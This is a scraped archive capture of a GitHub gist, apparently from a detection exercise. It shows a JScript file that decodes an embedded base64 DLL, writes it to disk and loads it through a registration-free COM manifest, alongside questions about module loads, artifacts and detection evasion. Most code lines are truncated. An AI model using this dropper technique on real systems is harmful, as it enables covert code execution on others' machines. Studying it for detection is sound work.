

3. Did you observe the DLL/ Module Load

4. What artifacts does this approach leave behind?

5. How might an attacker change this script to evade detection? hint: that 'bas 26 ≥ 16 oct 2022 - 30 Nov 2022

16 Oct 2022 - 30 Nov 2022

2021

2022

2023

✓ About this capture

```
⇔ stranger_things.js
                                                                                                   Raw
       var scriptdir = WScript.ScriptFullName.substring(0,WScript.ScriptFullName.lastIndexOf(WScript.ScriptNam
   1
       new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = scriptdir;
   2
   3
   4
      // Create Base64 Object, supports encode, decode
   5
       var Base64={characters:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:funct
   6
   7
       //Magic is just a cool way to decode to byte array;
      function Magic(r)\{if(!/^[a-z0-9+/]+=\{0,2\}\}/i.test(r)||r.length%4!=0\}throw Error("Not base64 string");fo
   8
       function binaryWriter(res,filename)
       {var base64decoded=Magic(res);var TextStream=new ActiveXObject('ADODB.Stream');TextStream.Type=2;TextSt
  10
       // x64 dynwrapx.dll v 2.2.0 http://dynwrapx.script-coding.com/dwx/pages/dynwrapx.php?lang=en
  11
       12
  13
       binaryWriter(dynwrapX,scriptdir+"\\export.dll");
  14
  15
  16
  17
  18
       // You could add a way to drop this dynamically
       var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?> <assembly xmlns="urn:schemas-m</pre>
  19
       var ax = new ActiveXObject("Microsoft.Windows.ActCtx");
  20
  21
       ax.ManifestText = manifest;
  22
  23
      var mdo = ax.CreateObject("DynamicWrapperDotNet");
      var s = mdo.getValue1("a");
  24
  25
      WScript.StdOut.WriteLine(s);
      var t = mdo.getValue1("b");
  26
      var s = mdo.getValue2();
  27
      mdo.getValue3();
  28
  29
      WScript.StdOut.WriteLine(s);
      WScript.StdOut.WriteLine(t);
  30
```

⚠

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https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008